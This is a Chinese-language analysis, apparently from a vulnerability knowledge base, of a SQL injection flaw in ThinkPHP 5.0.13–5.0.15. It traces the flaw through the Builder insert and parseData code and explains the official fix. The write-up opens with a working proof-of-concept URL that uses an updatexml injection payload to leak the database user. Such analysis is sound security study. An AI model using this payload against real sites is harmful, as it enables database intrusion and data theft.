http://0-sec.org/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
访问链接,即可触发 **SQL注入漏洞** 。(没开启 **app\_debug** 是无法看到
**SQL** 报错信息的)
![1.png](./resource/5.0.13<=Thinkphp<=5.0.15sql注入漏洞/media/rId25.png)
### 漏洞分析
![2.png](./resource/5.0.13<=Thinkphp<=5.0.15sql注入漏洞/media/rId27.png)
首先在官方发布的 **5.0.16**
版本更新说明中,发现其中提到该版本包含了一个安全更新,我们可以查阅其
**commit** 记录,发现其修改的 **Builder.php** 文件代码比较可疑。
![3.png](./resource/5.0.13<=Thinkphp<=5.0.15sql注入漏洞/media/rId28.png)
接着我们直接跟着上面的攻击 **payload** 来看看漏洞原理。首先,
**payload** 数据经过 **ThinkPHP** 内置方法的过滤后(不影响我们的
**payload** ),直接进入了 **\$this-\>builder** 的 **insert**
方法,这里的 **\$this-\>builder** 为 **\\think\\db\\builder\\Mysql**
类,代码如下:
![4.png](./resource/5.0.13<=Thinkphp<=5.0.15sql注入漏洞/media/rId29.png)
**Mysql** 类继承于 **Builder** 类,即上面的
**\$this-\>builder-\>insert()** 最终调用的是 **Builder** 类的 **insert**
方法。在 **insert** 方法中,我们看到其调用 **parseData**
方法来分析并处理数据,而 **parseData** 方法直接将来自用户的数据
**\$val** 进行了拼接返回。我们的恶意数据存储在 **\$val\[1\]**
中,虽经过了 **parseKey**
方法处理,当丝毫不受影响,因为该方法只是用来解析处理数据的,并不是清洗数据。
![5.png](./resource/5.0.13<=Thinkphp<=5.0.15sql注入漏洞/media/rId30.png)
上面,我们看到直接将用户数据进行拼接。然后再回到 **Builder** 类的
**insert** 方法,直接通过替换字符串的方式,将 **\$data** 填充到 **SQL**
语句中,进而执行,造成 **SQL注入漏洞**
![6.png](./resource/5.0.13<=Thinkphp<=5.0.15sql注入漏洞/media/rId31.png)
至此,我们已将整个漏洞分析完了。实际上,上面的 **switch**
结构中3种情况返回的数据都有可能造成 **SQL** 注入漏洞,但是在观察
**ThinkPHP** 官方的修复代码中,发现其只对 **inc** 和 **dec**
进行了修复,而对于 **exp** 的情况并未处理,这是为什么呢?
实际上, **exp** 的情况早在传入 **insert** 方法前就被 **ThinkPHP**
内置过滤方法给处理了,如果数据中存在 **exp** ,则会被替换成 **exp空格**
,这也是为什么 **ThinkPHP** 官方没有对 **exp**
的情况进行处理的原因了。具体内置过滤方法的代码如下:
![7.png](./resource/5.0.13<=Thinkphp<=5.0.15sql注入漏洞/media/rId32.png)
### 漏洞修复
![8.png](./resource/5.0.13<=Thinkphp<=5.0.15sql注入漏洞/media/rId34.png)
### 攻击总结
最后,再通过一张攻击流程图来回顾整个攻击过程。
![9.png](./resource/5.0.13<=Thinkphp<=5.0.15sql注入漏洞/media/rId36.png)
参考链接
--------
> https://github.com/Mochazz/ThinkPHP-Vuln

Some files were not shown because too many files have changed in this diff Show More